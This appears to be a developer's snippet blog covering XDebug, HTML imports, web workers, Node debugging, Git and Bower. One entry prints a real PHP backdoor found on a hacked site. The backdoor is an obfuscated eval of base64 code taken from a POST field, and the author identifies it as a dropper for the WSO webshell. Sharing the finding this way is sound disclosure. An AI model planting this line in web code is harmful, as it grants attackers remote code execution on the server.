XDebug, PHP CLI, Windows, Sublime
1 2 3 4 |
set XDEBUG_CONFIG="idekey=sublime.xdebug" php -dxdebug.profiler_enabled=on script.php |
Setting environment variable in PowerShell.
1 |
$env:XDEBUG_CONFIG="idekey=atom" |
Not standard
Not standard of a day: str.link()
Malware
Found this in a broken websites I worked on a couple of years ago. A very dangerous piece of code. It’s a first stage malware dropper.
1 2 3 4 5 |
<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));} ?> |
It appears that it was used to install WSO remote webshell. Joomla’s weblink module vulnerability to MySQL injection was exploited to compromise system.
Import custom HTML element with shadow DOM
1 2 3 4 |
<!-- importing document --> <link rel="import" href="my-element.html"> |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
<!-- my-element.html --> <template> <!-- HTML, JavaScript, CSS here will not be accessible from importing document --> </template> <script> (function() { var component = document.currentScript.ownerDocument; var tpl = component.querySelector('template'); var MyProto = Object.create(HTMLElement.prototype); MyProto.createdCallback = function() { this.root = this.createShadowRoot(); this.root.appendChild(document.importNode(tpl.content, true)); }; document.registerElement('my-element', { prototype: MyProto }); })(); </script> |
RequireJS in Web Worker
1 2 3 4 5 6 7 8 9 10 11 12 |
// worker.js importScripts('require.js'); require(['module'], function(dep) { postMessage('module loaded'); onmessage = function(msg) { // do cool stuff postMessage('done'); } }); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
// script.js var worker = new Worker('worker.js'); // following message will not be heard worker.postMessage('listening'); worker.onmessage = function(e) { switch(e.data) { case 'module loaded': worker.postMessage('data'); break; case 'done': // update GUI break; } } |
Note: workers can not access DOM. Use xmlHttpRequest for AJAX.
Debugging Node script
Put debugger;
in your script to create a break point.
node debug script.js
setBreakpoint(42)
watch("expression")
cont
, next
, repl
Read documentation for more.
Most used Git commands
Working tree status git status
Stage only tracked files git add -u
Unstage git reset
Review changes between HEAD and working tree before each commit git diff
.
git commit
git push origin master
Deploy git pull origin master
Bower vs NPM confusion
“Bower is created solely for the front-end and is optimized with that in mind (…) requires a flat dependency tree.”
How to add new client javascript library to a project?
- Edit bower.json
bower update
grunt wiredep
*
* See Gruntfile.js.
Edit or create package.json and use npm to install grunt and wiredep.
Microsoft Windows 8: A Forensic First Look
The average user is mostly unaware that the operating system is leaving traces of their activity behind that is specific to their usage. Knowing where these artifacts are stored can greatly assist in recreating a particular user account’s history.
Recent Comments
Aciu uz straipsni!
— Rivanda, 5 skyrius
Galėtų būti daugiau komentarų.
— Alter ego, WordPress download and extract script
Jėga!
— Darius, WordPress download and extract script